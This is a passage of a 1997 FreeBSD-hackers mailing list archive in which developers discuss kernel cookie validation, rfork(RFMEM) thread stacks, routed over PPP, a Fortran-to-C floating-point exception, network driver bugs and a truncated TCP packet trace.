RAA17699; Tue, 16 Sep 1997 17:50:43 +1000 (EST) Message-Id: <199709160750.RAA17699@ogre.dtir.qld.gov.au> To: Simon Shapiro cc: freebsd-hackers@freebsd.org, syssgm@dtir.qld.gov.au Subject: Re: Fast Encryption (in kernel) seeked References: In-Reply-To: from Simon Shapiro at "Tue, 16 Sep 1997 04:57:46 +0000" Date: Tue, 16 Sep 1997 17:50:42 +1000 From: Stephen McKay Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tuesday, 16th September 1997, Simon Shapiro wrote: >I have a specific integer (actually a pointer to a structure) which, for >performance reasons, I want exported to userspace. What happens with this >pointer is that sometimes later it comes back to the kernel. > >I want a QUICK was to encrypt it so that a melicious user cannot send a bad >address into the kernel. >If this sounds like harebrain idea, it probably is :-) No need for me to go on about it, since you've admitted it. ;-) I'm sure that encryption would just be hand waving and hoping. I don't think it would add any value. Picking a real random number (from the /dev/random module) and using that as an index might work. But really I think you should give us more details to work on. More than likely you don't have to do what you want to do. Give us the wider picture, and a clean answer is likely to result. Stephen. From owner-freebsd-hackers Tue Sep 16 01:07:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA05411 for hackers-outgoing; Tue, 16 Sep 1997 01:07:09 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA05376 for ; Tue, 16 Sep 1997 01:07:02 -0700 (PDT) Received: (qmail 11160 invoked by uid 1000); 16 Sep 1997 08:06:56 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 16 Sep 1997 01:06:56 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Julian Elischer Subject: Re: Fast Encryption (in kernel) seeked Cc: FreeBSD-Hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Julian Elischer; On 16-Sep-97 you wrote: > To answer this question correctly, > We need to know more details.. Gladly :-) > every algorythm has its day. It depends on what the situation is. > > For example, if there will be less than 100 of these 'pointers' > outstanding at a time, different schemes would be used to the case where > there are 100000 outstanding.. Oh, somewhere in between. A busy system may hold about 10,000 outstanding tickets. > can you guarentee that each pointer given out will be 'returned'? Not at all. I can guarantee that until it is returned, the pointer will be dormant. > will it be returned only once? Yup. > what if a process dies while owning a pointer? Then eventually the pointer goes away. > when does the buffer become free? very soon after the pointer comes back home. > who allocates the buffers? malloc. > I have code that does all this but it's only useful to you if > what you want to do matches the goals of what I was designing for.. > > tell me more.. This is part of the DLM. When a remote request comes in, we allocate a bucket (structure) to hold the remote request, send it up to a userspace daemon. The daemon resolves the target where the lock should be applied, sends a packet to that host, gets the result and puts is back to the kernel. The kernel gets the bucket, extracts from it the pointer, identifies who is sleeping, waiting for the request to be resoved, wakes it out. The process that slept wakes up and continues processing. Two points: a. This is a very inaccurate description of the remote leg in a shared lock processing. It is accurate enough to give you the background, though. b. I do NOT want this brief to be construed as a presentation of or introduction to the DLM. This will come soon enough. I want to guarantee that the cookie the kernel requestor sleeps on is unique within the kernel address space and genuine. To do so, I need to: a. Validate that it is genuine. b. Find, QUICKLY, the original bucket that holds the request; this is where the request and all its atndant pieces are. --- Sincerely Yours, (Sent on 16-Sep-97, 00:53:14 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 01:22:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA09554 for hackers-outgoing; Tue, 16 Sep 1997 01:22:38 -0700 (PDT) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA09404 for ; Tue, 16 Sep 1997 01:22:08 -0700 (PDT) Received: (qmail 17763 invoked by uid 1000); 16 Sep 1997 08:20:57 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 16 Sep 1997 01:20:56 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: Julian Elischer Subject: Re: What is wrong with this snipet? Cc: Jason Thorpe , freebsd-hackers@FreeBSD.ORG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi Julian Elischer; On 16-Sep-97 you wrote: > > > On Mon, 15 Sep 1997, Simon Shapiro wrote: > > > > > Hi Jason Thorpe; On 14-Sep-97 you wrote: > > > On Sat, 13 Sep 1997 16:34:42 -0700 (PDT) > > > Simon Shapiro wrote: > > > > > > > Why would the following segfault on 6 of the 10 iterations? > > > > > > In the FreeBSD implementation of RFMEM (which does not match Plan > > > 9's), > > > the child gets the same stack as the parent. If you "return" in the > > > child, > > > someone's stack gets munched. > > > > Not exactly useful, I'd say... > I beg to dissagree. it does exactly what it says it does.. > "Share entire address space" > How are you going to share address spaces if you don't share the stack.. > last time I looked the stack was a part of the address space. > The aim of this is the same as the Linux CLONE() call. The processes > with shared address spaces look to all the world the same as two > threads > in the same process. Obviously, multiple threads in the same process > can see each other's stacks etc, and various 'threads' in a > process can 'migrate' to the other process if all shared > processes can see all the stacks.. My apologies. Again, I am not clear in my words. I have no qualm, nor argument with the definition, not necessarily with the implementation. >From my naive point of view, what is less than very useful is the fact that one process exiting blows up the other which is not. One would think that since all processes now share the same address space, early exiters do not take the memory with them, but leave it for the others. > The secret is to allocate a new stack before the rfork() for the > child, and make sure that it does a longjmp() to it > the moment that it returns, leaving the stack uncorrupted for > the returning parent. Usually this is all hidden inside a library > routine called thread_fork() or similar. rfork() just supplies the > mechanism. >From my thinking (which is not necessarily correct), instead of new processes having to identify to themselves that they are new, and worry about securing pieces of their legitimate address space, the ones who leave the party do not take the lightbulbs, the food and the keg with them. Being that I never drink and rarely ``party'', I may be wrong :-) --- Sincerely Yours, (Sent on 16-Sep-97, 01:14:55 by XF-Mail) Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.643.5559, Emergency: 503.799.2313 From owner-freebsd-hackers Tue Sep 16 01:31:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA11076 for hackers-outgoing; Tue, 16 Sep 1997 01:31:25 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA11052; Tue, 16 Sep 1997 01:30:55 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id KAA04626; Tue, 16 Sep 1997 10:35:49 +0200 (CEST) From: Mikael Karpberg Message-Id: <199709160835.KAA04626@ocean.campus.luth.se> Subject: Re: What is wrong with this snipet? In-Reply-To: <199709160512.AAA00456@dyson.iquest.net> from "John S. Dyson" at "Sep 16, 97 00:12:43 am" To: dyson@FreeBSD.ORG Date: Tue, 16 Sep 1997 10:35:49 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to John S. Dyson: > Simon Shapiro said: > > > > Hi Jason Thorpe; On 14-Sep-97 you wrote: > > > On Sat, 13 Sep 1997 16:34:42 -0700 (PDT) > > > Simon Shapiro wrote: > > > > > > > Why would the following segfault on 6 of the 10 iterations? > > > > > > In the FreeBSD implementation of RFMEM (which does not match Plan 9's), > > > the child gets the same stack as the parent. If you "return" in the > > > child, > > > someone's stack gets munched. > > > > Not exactly useful, I'd say... > > > It actually is -- you just don't call RFMEM in the same way that you > would call vfork. It is doing good things at work. This is kinda interesting. You can't move forward or backwards in the stack, which means you can't call functions or return from functions. You can possibly calculate two values at the same time, withing the same function, without calling another function. This doesn't seem overly useful, however. What am I missing? Could you make a short example of a use for this? /Mikael From owner-freebsd-hackers Tue Sep 16 01:41:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA11800 for hackers-outgoing; Tue, 16 Sep 1997 01:41:30 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA11791 for ; Tue, 16 Sep 1997 01:41:27 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.6/8.6.12) with SMTP id BAA28756; Tue, 16 Sep 1997 01:35:09 -0700 (PDT) Message-Id: <199709160835.BAA28756@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Simon Shapiro Cc: Julian Elischer , freebsd-hackers@freebsd.org Subject: Re: What is wrong with this snipet? Reply-To: Jason Thorpe From: Jason Thorpe Date: Tue, 16 Sep 1997 01:35:08 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 16 Sep 1997 01:20:56 -0700 (PDT) Simon Shapiro wrote: > >From my naive point of view, what is less than very useful is the fact that > one process exiting blows up the other which is not. One would think that > since all processes now share the same address space, early exiters do not > take the memory with them, but leave it for the others. Um, I think people might have misunderstood what I originally pointed out about the FreeBSD rfork() ... I was merely pointing out that the RFMEM semantics were different from Plan 9's (my interpretation of the Plan 9 semantics are that only text/data/bss are shared, not the entire address space, which we could do in a similar fashion by using a sharing map), and that when the child executes a "return" statement, he's going to smash the stack of the parent, or vice versa. When the child exits (actually, _exits :-) or exec's, the only thing that happens to the vmspace is that the refcount drops. It's worth noting that even with a Real vfork(2), the danger of stack smashing (and the restriction that one must use _exit(), not exit()) exists. That's why all of the special vfork system call stubs exist - they pop the return-address early (before the actual system call), save it in a register, and then return to the caller via an indirect jump (through the function pointer saved in the register). This works because vfork() takes no arguments (if it did, the kernel's syscall gate would look for the argument in the wrong place, since the RA has been popped). Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: +1 408 866 1912 NAS: M/S 258-6 Work: +1 415 604 0935 Moffett Field, CA 94035 Pager: +1 415 428 6939 From owner-freebsd-hackers Tue Sep 16 01:46:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA12082 for hackers-outgoing; Tue, 16 Sep 1997 01:46:32 -0700 (PDT) Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.50.29]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA12072; Tue, 16 Sep 1997 01:46:24 -0700 (PDT) Received: from localhost (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.6/8.6.12) with SMTP id BAA28851; Tue, 16 Sep 1997 01:40:07 -0700 (PDT) Message-Id: <199709160840.BAA28851@lestat.nas.nasa.gov> X-Authentication-Warning: lestat.nas.nasa.gov: localhost [127.0.0.1] didn't use HELO protocol To: Mikael Karpberg Cc: dyson@freebsd.org, freebsd-hackers@freebsd.org Subject: Re: What is wrong with this snipet? Reply-To: Jason Thorpe From: Jason Thorpe Date: Tue, 16 Sep 1997 01:40:06 -0700 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 16 Sep 1997 10:35:49 +0200 (CEST) Mikael Karpberg wrote: > This is kinda interesting. You can't move forward or backwards in the > stack, which means you can't call functions or return from functions. > You can possibly calculate two values at the same time, withing the same > function, without calling another function. This doesn't seem overly > useful, however. > > What am I missing? Could you make a short example of a use for this? What John and Julian are pointing out is that rfork(RFMEM) just can't be used like a regular fork() call - it's meant as infrastructure. Threads are typically created by specifying an entry point and argument for the new thread. The new thread has no stack to unwind; a new one has been allocated for it by some mechanism. Jason R. Thorpe thorpej@nas.nasa.gov NASA Ames Research Center Home: +1 408 866 1912 NAS: M/S 258-6 Work: +1 415 604 0935 Moffett Field, CA 94035 Pager: +1 415 428 6939 From owner-freebsd-hackers Tue Sep 16 01:58:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA12662 for hackers-outgoing; Tue, 16 Sep 1997 01:58:48 -0700 (PDT) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA12642; Tue, 16 Sep 1997 01:58:40 -0700 (PDT) Received: (from root@localhost) by dyson.iquest.net (8.8.6/8.8.5) id DAA00240; Tue, 16 Sep 1997 03:58:33 -0500 (EST) From: "John S. Dyson" Message-Id: <199709160858.DAA00240@dyson.iquest.net> Subject: Re: What is wrong with this snipet? In-Reply-To: <199709160835.KAA04626@ocean.campus.luth.se> from Mikael Karpberg at "Sep 16, 97 10:35:49 am" To: karpen@ocean.campus.luth.se (Mikael Karpberg) Date: Tue, 16 Sep 1997 03:58:33 -0500 (EST) Cc: dyson@FreeBSD.ORG, freebsd-hackers@FreeBSD.ORG Reply-To: dyson@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Mikael Karpberg said: > > This is kinda interesting. You can't move forward or backwards in the > stack, which means you can't call functions or return from functions. > You can possibly calculate two values at the same time, withing the same > function, without calling another function. This doesn't seem overly > useful, however. > > What am I missing? Could you make a short example of a use for this? > 1) Have a new stack ready 2) Push the address of the start of the thread onto the new stack. 3) call rfork with RFMEM and other flags. 4a) In the child, immediately set the stack pointer to the new one that was prepared in the parent. Issue a return instruction. 4b) In the parent, continue on. The key to this working is to avoid dependence on the stack in the child until the new stack pointer is loaded. The only problem that I can see, is the possibility of a signal being issued while the child is temporarily using (and avoiding actual use of) the parent's stack. That problem is evil, but there are a couple of workarounds for it (specifically, there is another rfork bit that says that it is a thread creation.) We can hold signals until the child thread is ready to accept them. I suspect that the thread creation bit will be used to hold signal delivery in the child, and the child will have to explicitly enable delivery. This will generally be transparent to the user (unless the user will be writing their own thread support code.) -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-hackers Tue Sep 16 02:34:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA14377 for hackers-outgoing; Tue, 16 Sep 1997 02:34:51 -0700 (PDT) Received: from ocean.campus.luth.se (ocean.campus.luth.se [130.240.194.116]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA14363; Tue, 16 Sep 1997 02:34:38 -0700 (PDT) Received: (from karpen@localhost) by ocean.campus.luth.se (8.8.5/8.8.5) id LAA04839; Tue, 16 Sep 1997 11:39:40 +0200 (CEST) From: Mikael Karpberg Message-Id: <199709160939.LAA04839@ocean.campus.luth.se> Subject: Re: What is wrong with this snipet? In-Reply-To: <199709160858.DAA00240@dyson.iquest.net> from "John S. Dyson" at "Sep 16, 97 03:58:33 am" To: dyson@FreeBSD.ORG Date: Tue, 16 Sep 1997 11:39:39 +0200 (CEST) Cc: freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to John S. Dyson: > Mikael Karpberg said: [...about rfork RFMEM...] > > What am I missing? Could you make a short example of a use for this? > > > 1) Have a new stack ready > 2) Push the address of the start of the thread > onto the new stack. > 3) call rfork with RFMEM and other flags. > 4a) In the child, immediately set the stack pointer to the > new one that was prepared in the parent. Issue a return > instruction. > 4b) In the parent, continue on. > > The key to this working is to avoid dependence on the stack in the > child until the new stack pointer is loaded. [...] Exactly the kind of answer i was looking for. Thanx. /Mikael From owner-freebsd-hackers Tue Sep 16 03:57:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA17514 for hackers-outgoing; Tue, 16 Sep 1997 03:57:54 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id DAA17498 for ; Tue, 16 Sep 1997 03:57:45 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id GAA07157; Tue, 16 Sep 1997 06:43:48 -0400 Date: Tue, 16 Sep 1997 06:43:48 -0400 (EDT) From: Yonny Cardenas To: John-Mark Gurney cc: "Daniel O'Callaghan" , hackers@FreeBSD.ORG Subject: Re: Interface DOWN In-Reply-To: <19970915165219.23543@hydrogen.nike.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 15 Sep 1997, John-Mark Gurney wrote: > Daniel O'Callaghan scribbled this message on Sep 16: > > You probably did not declare the interface to be passive. You should > > declare ppp interfaces to be passive; not sure why ed0 went down. > > I use: > > > > interfaces { > > interface all passive ; > > } ; Now not down interfaces, but not routing for this interfaces ... From owner-freebsd-hackers Tue Sep 16 04:24:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA19097 for hackers-outgoing; Tue, 16 Sep 1997 04:24:59 -0700 (PDT) Received: from ingenieria ([168.176.15.11]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id EAA19070; Tue, 16 Sep 1997 04:24:47 -0700 (PDT) Received: by ingenieria (SMI-8.6/SMI-SVR4) id HAA07174; Tue, 16 Sep 1997 07:11:13 -0400 Date: Tue, 16 Sep 1997 07:11:13 -0400 (EDT) From: Yonny Cardenas To: hackers@freebsd.org cc: questions@freebsd.org Subject: RIP in serials links Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Routed is composed of RIPv1, RIPv2 and Internet Router Discovery Protocol. A link ppp is multicasting. RIPv2 support multicating in links point-to-point, but by default Internet Discovery Protocol advertisements nor solicitations are sent over point-to-point links (e.g. PPP). The following messages show Routed: Add interface ppp0 200.20.30.1 --> 9.30.20.200/32 This link no interchange routing information. Need configuration especial in file /etc/gateways ? How ? Thanks for your help. ------------------------------------------------------------------------- YONNY CARDENAS B. Systems Engineer || || ||| || Universidad Nacional de Colombia || || || | || Email : yonny@ingenieria.ingsala.unal.edu.co ||||||| || ||| From owner-freebsd-hackers Tue Sep 16 05:14:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id FAA20597 for hackers-outgoing; Tue, 16 Sep 1997 05:14:32 -0700 (PDT) Received: from Campino.Informatik.RWTH-Aachen.DE (campino.Informatik.RWTH-Aachen.DE [137.226.116.240]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id FAA20592 for ; Tue, 16 Sep 1997 05:14:29 -0700 (PDT) Received: from gil.physik.rwth-aachen.de (gilberto.physik.rwth-aachen.de [137.226.30.2]) by Campino.Informatik.RWTH-Aachen.DE (8.8.7/RBI-Z-6) with ESMTP id OAA17615 for ; Tue, 16 Sep 1997 14:16:09 +0200 (MET DST) Received: (from kuku@localhost) by gil.physik.rwth-aachen.de (8.8.5/8.6.9) id OAA05839 for freebsd-hackers@freefall.cdrom.com; Tue, 16 Sep 1997 14:20:23 +0200 (MEST) Date: Tue, 16 Sep 1997 14:20:23 +0200 (MEST) From: Christoph Kukulies Message-Id: <199709161220.OAA05839@gil.physik.rwth-aachen.de> To: freebsd-hackers@freefall.FreeBSD.org Subject: FPE problem Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I'm having a weird problem with a f2c program which is causing an FPE for a reason I cannot figure out. It happens in a complex expression in a fortran expression in a scientific (high energy physics) calculation program. y=(x-1.D0)/x z=-log(1.D0-y) z2=z*z rsp=z*(1.D0+a1*z*(1.D0+a2*z*(1.D0+a3*z2*(1.D0+a4*z2* 1 (1.D0+a5*z2*(1.D0+a6*z2*(1.D0+a7*z2*(1.D0+a8*z2*(1.D0+a9*z2* 2 (1.D0+a10*z2)))))))))) 3 +zeta2-log(x)*log(1.D0-x)+0.5D0*log(x)**2 The corresponding C code (with debugging printf): y = 1. - *x; z__ = -log(1. - y); z2 = z__ * z__; printf("z__=%lf\n" "spint_1.a1=%lf\n" "spint_1.a2=%lf\n" "spint_1.a3=%lf\n" "spint_1.a4=%lf\n" "spint_1.a5=%lf\n" "spint_1.a6=%lf\n" "spint_1.a7=%lf\n" "spint_1.a8=%lf\n" "spint_1.a9=%lf\n" "spint_1.a10=%lf\n" "spint_1.zeta2=%lf\n" "z2=%lf\n" "*x=%lf\n", z__, spint_1.a1, spint_1.a2, spint_1.a3, spint_1.a4, spint_1.a5, spint_1.a6, spint_1.a7, spint_1.a8, spint_1.a9, spint_1.a10, spint_1.zeta2, z2, *x); fflush(stdout); ret_val = -z__ * (spint_1.a1 * z__ * (spint_1.a2 * z__ * (spint_1.a3 * z2 * (spint_1.a4 * z2 * (spint_1.a5 * z2 * (spint_1.a6 * z2 * (spint_1.a7 * z2 * (spint_1.a8 * z2 * (spint_1.a9 * z2 * ( spint_1.a10 * z2 + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + spint_1.zeta2 + z__ * log(1. - *x); return ret_val; gdb output: ---------- Nucleon PDFs : Ngroup = 3, Nset = 35 , for MRS Set (H) (L230-MSb) Structure Functions ---------------------------------------------------------------------------------------------------------------- z__=0.029266 spint_1.a1=-0.250000 spint_1.a2=-0.111111 spint_1.a3=-0.010000 spint_1.a4=-0.017007 spint_1.a5=-0.019444 spint_1.a6=-0.020661 spint_1.a7=-0.021417 spint_1.a8=-0.021949 spint_1.a9=-0.022349 spint_1.a10=-0.022664 spint_1.zeta2=1.644934 z2=0.000857 *x=0.971158 Program received signal SIGFPE, Arithmetic exception. 0x1b420 in rsp_ (x=0xefbfd784) at disent.c:5165 5165 ret_val = -z__ * (spint_1.a1 * z__ * (spint_1.a2 * z__ * (spint_1.a3 * A small C program fed with the above values evaluates the expression without problems. main() { double log(), z__=0.029266, a1=-0.250000, a2=-0.111111, a3=-0.010000, a4=-0.017007, a5=-0.019444, a6=-0.020661, a7=-0.021417, a8=-0.021949, a9=-0.022349, a10=-0.022664, zeta2=1.644934, x=0.971158, z2,ret_val , y; y = 1. - x; z__ = -log(1. - y); z2 = z__ * z__; ret_val = -z__ * (a1 * z__ * (a2 * z__ * (a3 * z2 * (a4 * z2 * (a5 * z2 * (a6 * z2 * (a7 * z2 * (a8 * z2 * (a9 * z2 * ( a10 * z2 + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + 1.) + zeta2 + z__ * log(1. - x); printf("%lf\n",ret_val); } Any ideas? -- Chris Christoph P. U. Kukulies kuku@gil.physik.rwth-aachen.de From owner-freebsd-hackers Tue Sep 16 06:19:59 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA23268 for hackers-outgoing; Tue, 16 Sep 1997 06:19:59 -0700 (PDT) Received: from fang.cs.sunyit.edu (chuck@fang.cs.sunyit.edu [192.52.220.66]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA23259 for ; Tue, 16 Sep 1997 06:19:52 -0700 (PDT) Received: (from chuck@localhost) by fang.cs.sunyit.edu (8.8.5/8.7.3) id NAA07617 for hackers@freebsd.org; Tue, 16 Sep 1997 13:19:34 GMT Date: Tue, 16 Sep 1997 13:19:34 GMT From: Charles Green Message-Id: <199709161319.NAA07617@fang.cs.sunyit.edu> X-Mailer: Mail User's Shell (7.2.5 10/14/92) To: hackers@freebsd.org Subject: SCSI general driver 'scg' Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Is there anything like SunOS's SCSI general driver 'scg' for freebsd.? I was looking through a number of the linux cdrecording applications and noticed that most used the scg driver. -- Charles Green, PRC Inc. Rome Laboratory, NY From owner-freebsd-hackers Tue Sep 16 06:45:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA24529 for hackers-outgoing; Tue, 16 Sep 1997 06:45:42 -0700 (PDT) Received: from csla.csl.sri.com (csla.csl.sri.com [192.12.33.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA24516 for ; Tue, 16 Sep 1997 06:45:37 -0700 (PDT) Received: from japonica.csl.sri.com (japonica.csl.sri.com [130.107.15.17]) by csla.csl.sri.com (8.8.6/8.8.5) with ESMTP id GAA03645 for ; Tue, 16 Sep 1997 06:41:25 -0700 (PDT) Received: from japonica.csl.sri.com (localhost [127.0.0.1]) by japonica.csl.sri.com (8.8.7/8.7.3) with ESMTP id GAA20719 for ; Tue, 16 Sep 1997 06:44:11 -0700 (PDT) Message-Id: <199709161344.GAA20719@japonica.csl.sri.com> to: hackers@FreeBSD.ORG Subject: More on SMC de driver woes Date: Tue, 16 Sep 1997 06:44:10 -0700 From: Fred Gilham Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I mentioned that I've been having problems with the de driver in the latest 3.0 snapshots. This is on a 10mb ethernet. I get a kernel message when the problem occors: de0: abnormal interrupt: transmit underflow (raising TX threshold to 96|256) The interface then freezes until I down it and up it again. I've replaced the new de driver in /sys/pci with the older one, remade the kernel, and things work fine. I did this in the 3.0-970807-SNAP. Since I was getting the same result in all the snaps up to 3.0-970912, I'd expect the same fix to work in all the later snaps, though I haven't tried it yet. My card gets reported as de0: SMC 9332BDT 21140A [10-100Mb/s] pass 2.0 -Fred Gilham From owner-freebsd-hackers Tue Sep 16 07:35:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA26936 for hackers-outgoing; Tue, 16 Sep 1997 07:35:43 -0700 (PDT) Received: from innocence.interface-business.de (innocence.interface-business.de [193.101.57.202]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA26925 for ; Tue, 16 Sep 1997 07:35:36 -0700 (PDT) Received: from ida.interface-business.de (ida.interface-business.de [193.101.57.203]) by innocence.interface-business.de (8.6.11/8.6.9) with SMTP id QAA28880 for ; Tue, 16 Sep 1997 16:35:27 +0200 Received: (from j@localhost) by ida.interface-business.de (8.8.7/8.7.3) id QAA05352; Tue, 16 Sep 1997 16:35:26 +0200 (MET DST) Message-ID: <19970916163525.KH02502@ida.interface-business.de> Date: Tue, 16 Sep 1997 16:35:25 +0200 From: j@ida.interface-business.de (J Wunsch) To: freebsd-hackers@freebsd.org (FreeBSD hackers) Subject: Any TCP expert around? X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-31809-14 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Organization: interface business GmbH, Dresden Reply-To: joerg_wunsch@interface-business.de (Joerg Wunsch) Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Whenever one of our FreeBSD machines contacts icon-gw.icon.de, the TCP connections breaks off in an endless flood of FIN-ack packets. Sorry for the messy data below, but it's hard to cut something off without losing information. That's a pretty normal HTTP connection, but towards the end, 193.102.86.65 doesn't seem to confirm the FIN flag, thus 193.101.57.200 remains in FIN_WAIT_1, and tries to resend the FIN flag over and over again, 7 minutes long. 193.101.57.200 is FreeBSD 2.2-something, running a plain FreeBSD TCP stack. 193.102.86.65 is supposedly running on a Sun, and for sure is using a Firewall-1. Using a Win95 client doesn't show this behaviour, only three or four FIN-ack pairs are flowing (and in much slower sequence), then the connection closes normally. What makes me a little nervous is the couple of packets sent by the FreeBSD side at 15:39.54.132386 and 15:39:54.133176. Why are there two packets? Whom to blame? 15:25:18.841146 193.101.57.200.4315 > 193.102.86.65.80: S 1036553716:1036553716(0) win 16384 (DF) 15:25:18.968586 193.102.86.65.80 > 193.101.57.200.4315: S 2661360185:2661360185(0) ack 1036553717 win 16384 (DF) 15:25:18.969441 193.101.57.200.4315 > 193.102.86.65.80: . ack 1 win 17280 (DF) 15:25:18.971094 193.101.57.200.4315 > 193.102.86.65.80: P 1:302(301) ack 1 win 17280 (DF) 15:25:19.076801 193.102.86.65.80 > 193.101.57.200.4315: S 124354575:124354575(0) ack 1036553717 win 9112 (DF) 15:25:19.077605 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:25:19.421201 193.102.86.65.80 > 193.101.57.200.4315: P 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:25:19.422060 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:25:22.232647 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:25:22.233438 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:25:27.865288 193.102.86.65.80 > 193.101.57.200.4315: . 2537005611:2537006147(536) ack 302 win 9112 (DF) 15:25:27.866084 193.101.57.200.4315 > 193.102.86.65.80: . ack 2537005611 win 17280 (DF) 15:25:28.200088 193.102.86.65.80 